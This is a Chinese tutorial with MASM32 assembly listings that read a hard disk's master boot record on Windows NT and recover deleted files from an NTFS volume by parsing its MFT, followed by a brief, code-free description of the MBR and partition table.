(1)内联汇编实现NT下读MBR
- MBR,全称为Master Boot Record,即硬盘的主引导记录。
MBR,全称为Master Boot Record,即硬盘的主引导记录。
为了便于理解,一般将MBR分为广义和狭义两种:广义的MBR包含整个扇区(引导程序、分区表及分隔标识),也就是上面所说的主引导记录;而狭义的MBR仅指引导程序而言。
硬盘的0柱面、0磁头、1扇区称为主引导扇区(也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬盘分区表DPT(Disk Partition table)和硬盘有效标志(55AA)。在总共512字节的主引导扇区里主引导程序(boot loader)占446个字节,第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。第三部分是magic number,占2个字节,固定为55AA。
我们来实现在VC++下面实现读取MBR。
C++内联汇编
在C++代码中插入__asm {}即可
- ;**************************************************
- .386p
- .model flat, stdcall ;平坦内存模式
- option casemap :none ; 大小写敏感
- ;***************************************************
- include \masm32\include\windows.inc
- include \masm32\include\user32.inc
- include \masm32\include\kernel32.inc
- include \masm32\include\advapi32.inc
- includelib \masm32\lib\user32.lib
- includelib \masm32\lib\kernel32.lib
- includelib \masm32\lib\advapi32.lib
- ShowError proto :DWORD
- ShowBuffer proto
- .data ;数据段
- FileName db '\\.\PHYSICALDRIVE0',0 ;打开第一个物理硬盘
- align 4 ;双字对齐
- readed dd 0 ;实际读出的字节数
- Buffer db 512 dup (0) ;存放读出的数据的缓冲区
- hFile dd 0 ;句柄存放处
- Caption db 'NT中读写物理磁盘',0 ;Caption的字符串
- ErrCreate db '建文件错,该程序不能在Win9X下执行!',0 ;出错信息
- ErrRead db '读盘错误!',0 ;出错信息
- ShowText db 4096*3 dup (0) ;转换后用于显示的字符串
- Number db '0123456789ABCDEF' ;16进制数转换为ACSII码要用到的数据
- .code ;代码段
- main:
- ;建立文件
- invoke CreateFile,offset FileName,\
- GENERIC_READ,FILE_SHARE_READ OR FILE_SHARE_WRITE,\
- NULL,OPEN_EXISTING,NULL,NULL
- mov [hFile],eax
- cmp eax,INVALID_HANDLE_VALUE
- jnz read
- invoke ShowError,offset ErrCreate ;显示错误信息
- read: ;读数据
- invoke ReadFile,eax,offset Buffer,512,offset readed,NULL
- cmp eax,0
- jnz show
- invoke ShowError,offset ErrRead ;显示错误信息
- show:
- invoke ShowBuffer ;显示读出的内容
- invoke CloseHandle ,[hFile] ;关闭文件句柄
- invoke ExitProcess,0 ;退出
- ShowError proc ,MESSAGE:DWORD ;显示出错信息并退出
- invoke MessageBoxA,NULL,MESSAGE,offset Caption,MB_OK
- cmp [hFile],0
- jz ShowErrorEnd
- invoke CloseHandle ,[hFile] ;关闭句柄
- ShowErrorEnd:
- invoke ExitProcess,0 ;退出
- ShowError endp
- ShowBuffer proc ;显示所读出的信息
- ;把16进制数据转换成ASCII码的形式
- mov esi,offset Buffer ;数据
- mov edi,offset ShowText ;转换后的数据
- mov ebx,offset Number
- mov ecx,0
- xor eax,eax
- Again:
- cmp [readed],0
- jz ConversionEnd
- dec [readed]
- mov al,[esi]
- push eax
- shr eax,4 ;高4位
- mov al,[ebx+eax]
- mov byte ptr[edi],al
- inc edi
- pop eax
- and eax,0FH ;低4位
- mov al,[ebx+eax]
- mov byte ptr[edi],al
- inc edi
- mov byte ptr[edi],' ' ;空格
- inc edi
- inc esi
- inc ecx
- cmp ecx,16
- jnz Again
- xor ecx,ecx
- mov byte ptr[edi-1],13 ;是回车
- jmp Again
- ConversionEnd:
- ;显示转换后的字符串
- invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK
- ret
- ShowBuffer endp
- end main
(2)内联汇编实现NTFS文件恢复
NTFS是Windows NT以及之后的Windows 2000、Windows XP、Windows Server 2003、Windows Server 2008、Windows Vista和Windows 7的标准文件系统。NTFS取代了文件分配表(FAT)文件系统,为Microsoft的Windows系列操作系统提供文件系统。NTFS对FAT和HPFS(高性能文件系统)作了若干改进,例如,支持元数据,并且使用了高级数据结构,以便于改善性能、可靠性和磁盘空间利用率,并提供了若干附加扩展功能,如访问控制列表(ACL)和文件系统日志。该文件系统的详细定义属于商业秘密 ,但 Microsoft 已经将其注册为 知识产权产品。
NTFS 提供长文件名、数据保护和恢复,并通过目录和文件许可实现安全性。NTFS 支持大硬盘和在多个硬盘上存储文件(称为卷)。例如,一个大公司的数据库可能大得必须跨越不同的硬盘。NTFS 提供内置安全性特征,它控制文件的隶属关系和访问。从DOS或其他操作系统上不能直接访问 NTFS 分区上的文件。如果要在DOS下读写NTFS分区文件的话可以借助第三方软件;现如今,Linux系统上已可以使用 NTFS-3G进行对 NTFS 分区的完美读写,不必担心数据丢失。
Win 2000采用了更新版本的NTFS文件系统NTFS 5.0,它的推出使得用户不但可以像Win 9X那样方便快捷地操作和管理计算机,同时也可享受到NTFS所带来的系统安全性。 NTFS 允许文件名的长度可达 256 个字符。虽然 DOS 用户不能访问 NTFS 分区,但是 NTFS 文件可以拷贝到 DOS 分区。每个 NTFS 文件包含一个可被 DOS 文件名格式认可的 DOS 可读文件名。这个文件名是 NTFS 从长文件名的开始字符中产生的。
我们来实现在VC++下面实现读取MBR。
C++内联汇编
在C++代码中插入__asm {}即可
我们亲自来分析实现NTFS文件恢复。
- ;******************************************************
- .386
- .model flat, stdcall
- option casemap :none
- ;******************************************************
- ; Include 文件定义
- ;******************************************************
- include \masm32\include\windows.inc
- include \masm32\include\user32.inc
- includelib \masm32\lib\user32.lib
- include \masm32\include\kernel32.inc
- includelib \masm32\lib\kernel32.lib
- ;*******************************************************
- ; Equ 等值定义
- ;*******************************************************
- ICO_MAIN equ 1000h ;图标ID
- DLG_MAIN equ 1 ;对话框ID
- IDC_PARTITION equ 101h ;盘符名输入框ID
- IDC_FILENAME equ 102h ;文件名ID
- ;*******************************************************
- ; 数据段
- ;*******************************************************
- .data
- hFile_Disk dd 0 ;磁盘文件号
- hFile dd 0 ;文件号
- FileName db '\\.\' ;打开文件名为\\.\X:形式的文件则打开了X分区
- PARTITION db 3 dup (0) ;请注意FileName和等待用户输入的PARTITION共
- ;同组成了要打开的文件名(分区)
- FILENAMEA db 25 dup (0) ;等待用户输入的字符缓存
- FILENAMEU db 50 dup (0) ;转换成Unicode字符串的缓存
- ErrCap db '失败',00 ;错误对话框的Caption
- ErrorInfo1 db '可能的原因是:',0dh
- db '1.该程序不能在除NT以外的系统中执行;',0dh
- db '2.您输入的盘符无效!',00h
- ErrorInfo2 db '读盘错误!',00
- ErrorInfo3 db '该程序只能恢复NTFS文件系统中的数据!',0dh
- db '您打开的磁盘不是NTFS文件系统!',00h
- ErrorInfo4 db '移动文件指针错误!',00h
- Info1 db '请在当前文件夹下查看已恢复的文件!如果文件扩展名不对,请自行',0dh
- db '修改扩展名,如果没有文件,则说明您输入的文件没有找到!',00h
- Recoveried dd 30h ;用来存放已经恢复的文件个数0~z
- _0 db 00 ;字符串结束
- Readed dd 0
- System_Id db 'NTFS' ;DBR中NTFS卷的标志
- MFT_Flag db 'FILE' ;MFT的标志
- StateFindFile dd 0 ;该数据是FindFile过程的返回值
- StringLength dd 0 ;该地址用于存放用户输入的文件名的输入长度
- MFTTime dd 1024
- Temp db 'Text',00
- EdiOffset dd 0 ;
- IndicEdi dd 0 ;用来在比较字符串中存放Edi所指向的字符串的指针
- FileNameOffset dd 0 ;用来存放文件名偏移
- FileSize dd 0 ;用来存放常驻80H属性的文件大小
- FileSize1 dq 0 ;用来存放系统分配给非常驻80H属性的大小
- FileSize2 dq 0 ;用来存放非常驻80H属性的文件真实大小
- Edi80 dd 0 ;用来保存非常驻80H属性的运行列表偏移
- CInfo1 db 0 ;用来保存运行列表的第一个字节的低4位
- CInfo2 db 0 ;用来保存运行列表的第一个字节的高4位
- ResidentFlag dd 0ffh ;80H属性常驻与非常驻标志,为0表示常驻,为1表示非常驻
- ByeofOneC dd 0 ;每簇字节数
- RunC dd 0 ;运行相对起始簇号
- RunC2 dd 0 ;运行绝对起始簇号
- RunByte dd 0 ;运行字节数
- RunCN dd 0 ;运行起始簇号
- RunFirstAddr dq 0 ;运行起始偏移字节
- ;__________________________________________________________________
- .data?
- hInstance dd ?
- DBR db 512 dup (?) ;512字节作为DBR的缓冲
- MFTFirstSector dd ? ;MFT首扇区存放的缓冲
- MFTFirstOffset dd 2 dup (?)
- Filling db 8 dup (?) ;这个是没有用的数据,只是为了让后面的MFT在
- ;程序执行时起始偏移在XXXXXXX0上,方便调试
- MFT db 1024*1024 dup (?);1M作为MFT的缓冲
- DataBuffer db 1024*1024 dup (?);1M字节做为文件数据缓冲
- FileNameLong dd ?
- FileNameBuffer dw 260 dup (?)
- ;*******************************************************
- ; 代码段
- ;*******************************************************
- .code
- ;*******************************************************
- _ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
- mov eax,wMsg
- .if eax == WM_CLOSE ;如果消息为WM_CLOSE,当按下右上角的关闭按钮
- invoke EndDialog,hWnd,NULL ;hWnd为对话框窗口句柄,结束对话框
- ret
- .elseif eax == WM_INITDIALOG ;初始化代码
- invoke GetDlgItem,hWnd,IDOK ;取IDOK句柄
- invoke EnableWindow,eax,FALSE ;IDOK显示为灰色(确定按钮)
- invoke LoadIcon,hInstance,ICO_MAIN ;设置标题栏图标
- invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
- .elseif eax == WM_COMMAND
- mov eax,wParam
- ;_____________________________________________________________________
- .if ax == IDCANCEL ;如果用户点击“取消”按钮
- invoke EndDialog,hWnd,NULL ;关闭对话框
- mov eax,TRUE
- ret
- .elseif ax== IDOK ;如果用户点击“确定”按钮
- invoke CreateFileA,offset FileName,\ ;打开用户输入的盘符
- GENERIC_READ OR GENERIC_WRITE,\
- FILE_SHARE_READ OR FILE_SHARE_WRITE,\
- NULL,OPEN_EXISTING,NULL,NULL
- mov [hFile_Disk],eax ;保存该分区的文件号
- cmp eax,INVALID_HANDLE_VALUE ;判断其是否成功(为-1失败)
- jz _98CODE ;失败则转
- invoke ReadFile,[hFile_Disk],\
- offset DBR,512,\
- offset Readed,NULL
- cmp eax,0
- jz ReadFail
- mov edx,dword ptr [DBR+3] ;将该分区的分区标志送edx
- mov ebx,dword ptr System_Id
- cmp edx,ebx ;是NTFS分区吗?
- jnz P_Err ;不是则转
- CALL FirstMFTOffset ;定位MFT的起始偏移
- invoke SetFilePointer,[hFile_Disk],\
- dword ptr [MFTFirstOffset],\ ;移动文件指针的低32位
- offset MFTFirstOffset+4,\ ;移动文件指针的高32位
- FILE_BEGIN ;从文件(分区)开始处计算
- cmp eax,-1
- jz MoveFail
- ReadMFT:
- mov dword ptr [MFTTime],1024 ;用于计算指针是否指到了内存中的MFT尾
- invoke ReadFile,[hFile_Disk],\ ;读1兆MFT
- offset MFT,1024*1024,\
- offset Readed,NULL
- add dword ptr [MFTFirstOffset],1024*1024 ;保存当前磁盘指针
- adc dword ptr [MFTFirstOffset+4],0
- cmp eax,0
- jz ReadFail
- mov edi,offset MFT
- CallFindFile:
- call FindFile ;查找符合用户输入的已经删除的文件
- ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .if [StateFindFile]==0 ;FindFile过程返回状态数据[StateFindFile]为0
- ;表示所有的MFT都找完了
- invoke MessageBoxA,NULL,offset Info1,offset Temp,MB_OK
- ret
- ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .elseif [StateFindFile]==1 ;FindFile过程返回状态数据[StateFindFile]为1
- ;表示该文件未被删除或这不是用户要恢复的文件
- ReadToo:
- dec dword ptr [MFTTime]
- cmp dword ptr [MFTTime],0
- jz ReadMFT ;结果为0则表示要读下1兆MFT了
- add edi,1024 ;edi向后1K,指向下一个MFT
- jmp CallFindFile ;继续查找符合用户输入的已经删除的文件
- ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .elseif [StateFindFile]==2 ;FindFile过程返回状态数据[StateFindFile]为2
- ;表示这是一个用户要恢复的文件(文件名包含用户输入)
- call ReadData ;这个过程将要恢复文件的数据读入内存中
- ;创建要恢复的文件,文件名为原来的文件名
- ;______________________________________________________
- .if dword ptr [ResidentFlag]==0 ;如果为常驻属性
- invoke CreateFileW,offset FileNameBuffer,\ ;创建要恢复的文件
- GENERIC_READ OR GENERIC_WRITE,\ ;为读和写打开
- 0,NULL,\ ;不允许文件再被打开
- CREATE_NEW,\ ;创建新文件,如果文件已经存在则返回失败代码
- NULL,NULL
- mov [hFile],eax ;保存文件号
- invoke WriteFile,[hFile],\ ;写文件
- offset DataBuffer,[FileSize],\
- offset Readed,NULL
- invoke CloseHandle,[hFile] ;关闭文件
- jmp ReadToo ;继续找是否还有包含用户输入的文件
- ;_____________________________________________________
- .elseif dword ptr [ResidentFlag]==1 ;如果为非常驻属性
- mov dword ptr [RunC2],0 ;绝对起始簇号清零
- jmp ReadToo
- ;invoke MessageBoxA,NULL,offset ErrorInfo1,offset Temp,MB_OK
- .endif
- ;_______________________________________________________
- ret
- .endif
- ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- _98CODE:
- invoke MessageBoxA,NULL,offset ErrorInfo1,offset ErrCap,MB_OK
- mov eax,TRUE
- ret
- ReadFail:
- invoke CloseHandle,[hFile_Disk] ;关闭文件(关闭分区)
- invoke MessageBoxA,NULL,offset ErrorInfo2,offset ErrCap,MB_OK
- mov eax,TRUE
- ret
- P_Err:
- invoke CloseHandle,[hFile_Disk] ;关闭文件(关闭分区)
- invoke MessageBoxA,NULL,offset ErrorInfo3,offset ErrCap,MB_OK
- mov eax,TRUE
- ret
- MoveFail:
- invoke CloseHandle,[hFile_Disk] ;关闭文件(关闭分区)
- invoke MessageBoxA,NULL,offset ErrorInfo4,offset ErrCap,MB_OK
- mov eax,TRUE
- ret
- ;_____________________________________________________________________
- .elseif ax == IDC_PARTITION ;如果用户在盘符文本框中输入
- invoke SendDlgItemMessage,hWnd,\ ;限制文本输入为2个字符
- IDC_PARTITION,EM_LIMITTEXT,2,NULL
- invoke GetDlgItemText,hWnd,IDC_PARTITION,\
- addr PARTITION,sizeof PARTITION ;取用户输入文本到PARTITION处
- invoke GetDlgItem,hWnd,IDOK ;取IDOK句柄(确定按钮)
- invoke EnableWindow,eax,TRUE ;置确定按钮为可用
- mov eax,TRUE
- ret
- ;_____________________________________________________________________
- .elseif ax == IDC_FILENAME ;如果用在文件名文本框中输入
- invoke SendDlgItemMessage,hWnd,\ ;限制文本输入为24个字符
- IDC_FILENAME,EM_LIMITTEXT,24,NULL
- invoke GetDlgItemText,hWnd,IDC_FILENAME,\ ;取用户输入到FILENAMEA处
- addr FILENAMEA,sizeof FILENAMEA
- call CompString ;计算用户输入的字符的长度,并保存在StringLength处
- ;将ANSI字符串转换为Unicode字符串
- invoke MultiByteToWideChar,1,0,addr FILENAMEA,\ ;AUSI地址FILENAMEA首地址
- -1,addr FILENAMEU,\ ;-1为自动大小(为0结束)
- sizeof FILENAMEU ;转换到FILENAMEU,大小为FILENAMEU的大小
- mov edi,offset FILENAMEU
- call ToCaps ;将FILENAMEU中的Unicode字符串中的小写字母转换为大写
- mov eax,TRUE
- ret
- .endif
- ;_____________________________________________________________________
- .else
- mov eax,FALSE
- ret
- .endif
- mov eax,TRUE
- ret
- _ProcDlgMain endp
- ;*******************************************************
- ;该过程用于计算用户输入的文件名的长度(Unicode的长度),并保存在StringLength处
- CompString proc
- mov eax,00h
- mov edi,offset FILENAMEU
- CmpString:
- cmp byte ptr [edi],00 ;字符串是否结束
- jz ExitProc
- inc eax
- inc edi
- inc edi
- jmp CmpString
- ExitProc:
- mov [StringLength],eax
- ret
- CompString endp
- ;*******************************************************
- ;小写的Unicode字母转大写
- ToCaps proc
- Char:
- mov bx,word ptr [edi] ;将字符串中的一个字送BX
- .while bx>=61h && bx<=7ah ;这个字是UNICODE小写字母么,是则执行循环体
- sub bx,20h ;将其转变为大小的Unicode字符
- mov word ptr [edi],bx ;再将这个转变后的字符送回字符串中
- inc edi ;指针加2
- inc edi
- mov bx,word ptr [edi] ;继续将下一个字符串中的一个字送BX
- .break .if bx==00h ;如果是00则表示已经到了字符串尾,则退出循环
- .endw
- cmp bx,00 ;bx为0表示已经到了字符串的尾部
- jz Okchar ;到了字符串的尾部转返回处
- inc edi ;指针加2(因为是Unicode字符)
- inc edi
- jnz Char ;不是小写Unicode字母则跳过这个字符继续做下一个字符的判断
- Okchar:
- ret
- ToCaps endp
- ;*******************************************************
- ;计算$MFT起始偏移,并存放在MFTFirstOffset
- FirstMFTOffset proc
- mov edi,offset DBR
- mov eax,dword ptr [edi+30h] ;MFT起始簇号送eax
- mov cl,[edi+0dh]
- movzx ebx,cl ;每簇扇区数送ebx
- mul ebx ;MFT起始簇号*每簇扇区数=MFT起始扇区号,高位保存在edx中
- ;低位保存在eax中
- mov edi,offset MFTFirstSector
- mov [edi],eax ;将MFT起始扇区号保存
- mov ebx,512 ;每扇区字节数送ebx
- mul ebx ;每扇区字节数*MFT起始扇区号=MFT起始偏移
- mov edi,offset MFTFirstOffset ;放MFT起始偏移的地址送edi
- mov [edi],eax ;保存MFT起始偏移(低位)
- mov [edi+4],edx ;保存MFT起始偏移(高位)
- ;经过以上算法后,MFTFirstOffset保存的就是MFT起始偏移了
- ret
- FirstMFTOffset endp
- ;*******************************************************
- ;判断当前MFT是否是用户要恢复的文件
- FindFile proc
- push edi
- NextFindFile:
- ;_____________________________________________________
- .if dword ptr [edi] != 454c4946h ;如果这不是一个合法的MFT,则表明已经读完了卷中所有的MFT
- cmp dword ptr [edi],44414142h ;在windows 2K中,有可能出现标志为“BAAD”的空MFT
- jnz NoMft
- mov [StateFindFile],1 ;[StateFindFile]赋1后退出,跳过这个MFT
- jmp ExitProc
- NoMft:
- mov [StateFindFile],0 ;[StateFindFile]赋0后退出
- jmp ExitProc
- ;_____________________________________________________
- .elseif word ptr [edi+16h] != 0 ;如果这个文件是未被删除的
- mov [StateFindFile],1 ;[StateFindFile]赋1后退出
- jmp ExitProc
- ;_____________________________________________________
- .else
- add di,word ptr [edi+14h]
- mov dword ptr [EdiOffset],edi ;保存属性头开始偏移
- ;((((((((((((((((((((((((((((((((((((((((((((((((((((((
- FindAttribute:
- .if dword ptr [edi]==30h ;是30h属性的话
- CmpFileNameLeng: ;比较文件名长度
- push edx
- pop edx
- add di,word ptr [edi+14h] ;将30H属性头后的属性偏移送edi
- ;(属性头14H处为该属性开始的相对偏移)
- mov edx,dword ptr [edi+30h] ;保存文件大小,为后面恢复文件做准备
- mov dword ptr [FileSize2],edx ;30H属性偏移30H后的8个字节是文件的实际大小
- mov edx,dword ptr [edi+34h]
- mov dword ptr [FileSize2+4],edx
- movzx eax,byte ptr [edi+40h] ;edi+40中存放的是30H属性的文件名Unicode长度
- mov dword ptr [FileNameLong],eax ;保存文件名长度
- cmp eax,dword ptr [StringLength] ;该长度和用户输入的文件名长度进行比较
- jc Next ;如果CF=1(有借位)则转,有借位则表示用户输
- ;入的字符串的长度大于该文件的文件名长度,
- ;这肯定不是用户要恢复的文件了
- jmp CmpFileName
- Next:
- mov edi,dword ptr [EdiOffset] ;将属性头开始偏移送回edi
- add edi,dword ptr [edi+4h] ;edi为下一个属性的偏移(属性头04~07为该属性的长度)
- mov dword ptr [EdiOffset],edi ;保存下一个属性头开始偏移
- jmp FindAttribute ;继续找下一个属性
- CmpFileName:
- movzx eax,byte ptr [edi+40h] ;该文件30H属性的文件名长度送eax
- add edi,42h ;30H属性开始的偏移+42后为该文件文件名的开始偏移送edi(源串地址)
- mov dword ptr [IndicEdi],edi ;保存文件名的开始偏移
- mov dword ptr [FileNameOffset],edi ;保存文件名开始偏移!!!!!!!!!!!
- sub eax,dword ptr [StringLength] ;eax=文件名长度-用户输入的串长度
- inc eax ;eax加1,结果为串比较时移动源串指针的次数
- push edi
- call ToCaps ;将小写的Unicode码转为大写,为比较串做准备
- pop edi
- mov ecx,dword ptr [StringLength] ;计数器=用户输入的串的长度
- mov ebx,ecx ;保存用户输入串长度到ebx
- mov esi,offset [FILENAMEU] ;目的串地址
- Compare:
- repz cmpsw ;比较源串和目的串
- jz Alike ;一样则说明这就是用户要恢复的文件,一样则转
- dec eax
- cmp eax,0 ;为0表示比较完毕都没有发现文件名中包含了用户输入的字符串
- jz Next ;继续找下一个属性
- mov esi,offset [FILENAMEU] ;重新指向用户输入串的首地址目的串地址
- add dword ptr [IndicEdi],2 ;文件名字符串向后移动两个单位,指向下一个字符
- mov edi,dword ptr [IndicEdi]
- mov ecx,ebx ;比较的次数=用户输入的串的长度
- jmp Compare ;转比较处
- Alike:
- xor eax,eax
- mov edi,offset FileNameBuffer
- mov ecx,128 ;循环128次,将文件名缓冲区清零
- ClearBuffer:
- mov dword ptr [edi],eax
- add edi,4
- loop ClearBuffer ;清除文件名缓冲区
- mov esi,dword ptr [FileNameOffset] ;源地址为30H属性中文件名的开始
- mov edi,offset FileNameBuffer ;目标地址为FileNameBuffer
- mov ecx,dword ptr [FileNameLong] ;传送次数为文件名长度
- rep movsw ;拷贝文件名到FileNameBuffer中
- mov [StateFindFile],2 ;这就是用户要恢复的文件[StateFindFile]赋值2后退出
- jmp ExitProc
- ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .elseif dword ptr [edi]==0ffffffffh ;是属性结束的话,说明这个文件不是用户要恢复的
- mov [StateFindFile],1 ;[StateFindFile]赋1后退出
- jmp ExitProc
- ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .else ;是其他属性的话直接将指针加上属性长度得到后面的属性开始,重新判断
- jmp Next
- .endif
- ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
- .endif
- ExitProc:
- pop edi ;将该MFT的起始偏移写回edi
- ret
- FindFile endp
- ;*******************************************************
- ReadData proc
- push edi ;保存要恢复文件的MFT的开始地址
- add di,word ptr [edi+14h]
- FindNext:
- mov dword ptr [EdiOffset],edi ;保存属性头开始偏移
- .if dword ptr [edi]==80h ;是80h属性的话
- cmp byte ptr [edi+9h],0 ;该80H属性是否有属性名[edi+09H]为0表示没有属性名
- jnz Next ;有属性名的80H属性不是用户数据属性,跳过这个属性,比较下一个
- .if byte ptr [edi+08]==0 ;[edi+08]==0(一个字节) 表示该属性为常驻属性
- movzx eax,word ptr [edi+14h] ;属性开始的偏移(属性头的长度)送eax
- mov ebx,dword ptr [edi+4h] ;包括属性头长度在内的属性长度
- sub ebx,eax ;ebsx=包括属性头长度在内的属性长度 - 属性头的长度=用户数据的长度(文件大小)
- mov dword ptr [FileSize],ebx ;文件大小
- mov ecx,ebx ;循环次数为文件大小
- mov esi,edi ;把80H属性头开始的偏移送esi
- add si,word ptr [edi+14h] ;把80H属性开始的偏移送esi(源地址)
- mov edi,offset DataBuffer ;把数据缓存区的地址送edi(目的地址)
- rep movsb ;将要恢复的用户数据传到DataBuffer中
- inc dword ptr [Recoveried] ;每恢复一个文件将[Recoveried]加1
- mov dword ptr [ResidentFlag],0 ;给常驻与非常驻标志置0,表示常驻
- jmp ExitProc
- .elseif byte ptr [edi+08]==1 ;[edi+08]==1(一个字节)表示该属性为非常驻属性
- ;获取文件的大小
- mov edx,dword ptr [edi+30h] ;保存文件大小,为后面恢复文件做准备
- mov dword ptr [FileSize1],edx ;80H属性头偏移30H后的8个字节是文件的真实大小
- mov edx,dword ptr [edi+34h]
- mov dword ptr [FileSize1+4],edx
- invoke CreateFileW,offset FileNameBuffer,\ ;创建要恢复的文件
- GENERIC_READ OR GENERIC_WRITE,\ ;为读和写打开
- 0,NULL,\ ;不允许文件再被打开
- CREATE_NEW,\ ;创建新文件,如果文件已经存在则返回失败代码
- NULL,NULL
- mov [hFile],eax ;保存文件号
- push edi ;保存edi
- push eax ;保存eax
- mov edi,offset DBR
- mov cl,byte ptr [edi+0dh]
- movzx ebx,cl ;每簇扇区数送ebx
- mov eax,512
- mul ebx ;每簇扇区数乘以每扇区字节数=每簇字节数
- mov dword ptr [ByeofOneC],eax ;每簇字节数保存到ByeofOneC
- pop eax
- pop edi
- xor ebx,ebx
- mov bx,word ptr [edi+20h]
- add edi,ebx ;把80H属性运行列表开始的偏移送edi
- Recover:
- call RunInfo ;获取运行起始字节偏移(在RunFirstAddr处),和该运行占有的字节数(在RunByte处)
- invoke SetFilePointer,[hFile_Disk],\ ;移动文件指针到运行数据开始处
- dword ptr [RunFirstAddr],\ ;移动文件指针的低32位
- offset RunFirstAddr+4,\ ;移动文件指针的高32位
- FILE_BEGIN ;从文件(分区)开始处计算
- ReadWrite:
- .if dword ptr [RunByte]>100000H ;如果运行大小大于1M字节
- invoke ReadFile,[hFile_Disk],\ ;读1兆字节的运行数据
- offset DataBuffer,1024*1024,\
- offset Readed,NULL
- invoke WriteFile,[hFile],\ ;写1M数据到文件
- offset DataBuffer,1024*1024,\
- offset Readed,NULL
- sub dword ptr [RunByte],1024*1024 ;RunByte减1M字节
- sub dword ptr [FileSize1],1024*1024 ;文件大小减1M字节
- jmp ReadWrite ;继续读数据写进文件
- .elseif dword ptr [RunByte]<=100000H ;如果运行大小小于或等于1M字节
- invoke ReadFile,[hFile_Disk],\ ;读运行大小字节的运行数据
- offset DataBuffer,[RunByte],\
- offset Readed,NULL
- invoke WriteFile,[hFile],\ ;写运行最后剩下的实际文件大小字节数据到文件
- offset DataBuffer,dword ptr [FileSize1],\; [FileSize1]总是小于[RunByte]的
- offset Readed,NULL
- mov al,byte ptr [CInfo1]
- movzx ecx,al
- add edi,ecx
- mov al,byte ptr [CInfo2]
- movzx ecx,al
- add edi,ecx
- inc edi ;这样edi就指向了下一个运行列表的开始
- cmp byte ptr [edi],0 ;有下一个运行列表吗?
- jnz Recover ;不是0表示还有下一个运行,继续处理下一个运行
- invoke CloseHandle,[hFile] ;没有下一个运行则关闭文件
- invoke SetFilePointer,[hFile_Disk],\ ;还原磁盘指针
- dword ptr [MFTFirstOffset],\ ;移动文件指针的低32位
- offset MFTFirstOffset+4,\ ;移动文件指针的高32位
- FILE_BEGIN ;从文件(分区)开始处计算
- .endif
- ExitReadWrite:
- mov dword ptr [ResidentFlag],1 ;给常驻与非常驻标志置1,表示非常驻
- jmp ExitProc
- .endif
- .elseif dword ptr [edi]==0ffffffffh ;是属性结束的话,就退出
- jmp ExitProc
- .else ;是其他属性的话
- Next:
- mov edi,dword ptr [EdiOffset] ;将属性头开始偏移送回edi
- add edi,dword ptr [edi+4h] ;edi为下一个属性的偏移(属性头04~07为该属性的长度)
- jmp FindNext ;继续找下一个属性
- .endif
- ExitProc:
- pop edi ;将该MFT的起始偏移写回edi
- ret
- ReadData endp
- ;*******************************************************
- RunInfo proc
- ;获取文件起始字节偏移,和该运行占有的字节数
- mov dword ptr [Edi80],edi ;将属性运行列表偏移保存到Edi80
- mov al,byte ptr [edi] ;把运行列表的第一个字节送al,其高
- ;4位表示多少运行列表中多少个字节为起始簇
- ;低4位表示多少个字节表示簇大小
- push eax
- mov cl,4
- shr al,cl ;将al逻辑右移4位,结果al为该运行起始的簇号所占字节数
- mov byte ptr [CInfo1],al
- pop eax
- and al,0fh ;清al高4位后al为该运行的簇数占有的字节
- mov byte ptr [CInfo2],al
- ;计算运行的总共的字节数
- push edi
- mov esi,edi
- inc esi ;源地址为运行所占簇数偏移
- mov edi,offset RunCN ;目标地址
- xor ecx,ecx
- mov cl,byte ptr [CInfo2]
- rep movsb ;将运行簇数保存到RunCN处
- mov eax,dword ptr [RunCN] ;将运行簇数送eax
- mov ebx,dword ptr [ByeofOneC] ;将每簇字节数送ebx
- mul ebx
- mov dword ptr [RunByte],eax ;该运行所占字节数偏移送RunByte处
- pop edi
- ;计算运行的起始偏移字节
- push edi
- mov esi,edi
- inc esi
- xor ecx,ecx
- mov cl,byte ptr [CInfo2]
- add esi,ecx ;esi指向运行起始簇偏移(源地址)
- mov edi,offset RunC ;目标地址
- mov cl,byte ptr [CInfo1] ;循环次数为运行列表中起始簇所占字节数
- rep movsb ;将运行的起始簇号保存到RunC处
- mov eax,dword ptr [RunC] ;将相对运行起始簇号送eax
- add dword ptr [RunC2],eax ;计算绝对起始簇号
- mov eax, dword ptr [RunC2] ;绝对起始簇号送eax
- mov ebx,dword ptr [ByeofOneC] ;将每簇字节数送ebx
- mul ebx
- mov dword ptr [RunFirstAddr],eax
- mov dword ptr [RunFirstAddr+4],edx ;保存运行起始偏移到RunFirstAddr处
- pop edi
- ret
- RunInfo endp
- ;*******************************************************
- start:
- invoke GetModuleHandle,NULL ;得到模块句柄(NULL为本模块)
- mov hInstance,eax ;保存模块句柄
- invoke DialogBoxParam,hInstance,\ ;创建模块对话框,从hInstance指定模块装入
- DLG_MAIN,NULL,\ ;装入DLG_MAIN参数指定的对话框,父对话框为NULL
- offset _ProcDlgMain,NULL ;过程地址为_ProcDlgMain的首地址,
- ;当作WM_INITDIALOG消息的lParam传给过程对话框定义为NULL(未定义)
- invoke ExitProcess,NULL ;退出程序
- end start
(3)内联汇编实现主引导区备份与恢复
硬盘的第一个扇区被保留为主引导扇区,它位于整个硬盘的0磁道0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。至于分区表,很多人都知道,以80H或00H为开始标志,以55AAH为结束标志,共64字节,位于本扇区的最末端。
= 硬盘主引导记录(MBR) + 硬盘分区表(DPT)
用FDISK 进行硬盘分区时产生的, 它属于整个硬盘而不属于某个独立的DOS 分区, 是硬盘正确引导和使用的必要条件.
物理位置:0柱面0磁头1扇区(Cylinder 0, Head 0, Sector 1)
系统扇区(System Sectors): 0C-0H-2S,0C-0H-63S, 共 62 Sectors
大小:512字节
